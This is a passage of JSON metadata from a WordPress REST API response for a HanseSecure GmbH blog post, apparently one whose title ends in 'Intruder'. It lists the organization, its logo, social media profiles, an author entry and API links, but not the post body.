Intruder","publisher":{"@id":"https:\/\/hansesecure.de\/en\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hansesecure.de\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/hansesecure.de\/en\/#organization","name":"HanseSecure GmbH","url":"https:\/\/hansesecure.de\/en\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hansesecure.de\/en\/#\/schema\/logo\/image\/","url":"https:\/\/hansesecure.de\/wp-content\/uploads\/2023\/05\/cropped-000-LOGO-intensiv-schwarz-rot-HanseSecure_LOGO_CTI_Vektor_rotes_H11806.png","contentUrl":"https:\/\/hansesecure.de\/wp-content\/uploads\/2023\/05\/cropped-000-LOGO-intensiv-schwarz-rot-HanseSecure_LOGO_CTI_Vektor_rotes_H11806.png","width":512,"height":512,"caption":"HanseSecure GmbH"},"image":{"@id":"https:\/\/hansesecure.de\/en\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/facebook.com\/hansesecure","https:\/\/x.com\/CyberWarship","https:\/\/www.linkedin.com\/company\/hansesecure","https:\/\/www.youtube.com\/channel\/UCAABbKOA_stDFkEKS3MSF7Q","https:\/\/www.instagram.com\/hansesecure\/"]},{"@type":"Person","@id":"https:\/\/hansesecure.de\/en\/#\/schema\/person\/e485fb697fb91ee48d82b2c3be35b809","name":"kugler","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/c14dc63c8a766345220311baf283bf40f5fcb5311c23ebc10b6e29802a5e5351?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/c14dc63c8a766345220311baf283bf40f5fcb5311c23ebc10b6e29802a5e5351?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/c14dc63c8a766345220311baf283bf40f5fcb5311c23ebc10b6e29802a5e5351?s=96&d=mm&r=g","caption":"kugler"}}]}},"_links":{"self":[{"href":"https:\/\/hansesecure.de\/en\/wp-json\/wp\/v2\/posts\/10084","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hansesecure.de\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hansesecure.de\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hansesecure.de\/en\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/hansesecure.de\/en\/wp-json\/wp\/v2\/comments?post=10084"}],"version-history":[{"count":5,"href":"https:\/\/hansesecure.de\/en\/wp-json\/wp\/v2\/posts\/10084\/revisions"}],"predecessor-version":[{"id":10104,"href":"https:\/\/hansesecure.de\/en\/wp-json\/wp\/v2\/posts\/10084\/revisions\/10104"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hansesecure.de\/en\/wp-json\/wp\/v2\/media\/10085"}],"wp:attachment":[{"href":"https:\/\/hansesecure.de\/en\/wp-json\/wp\/v2\/media?parent=10084"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hansesecure.de\/en\/wp-json\/wp\/v2\/categories?post=10084"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hansesecure.de\/en\/wp-json\/wp\/v2\/tags?post=10084"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}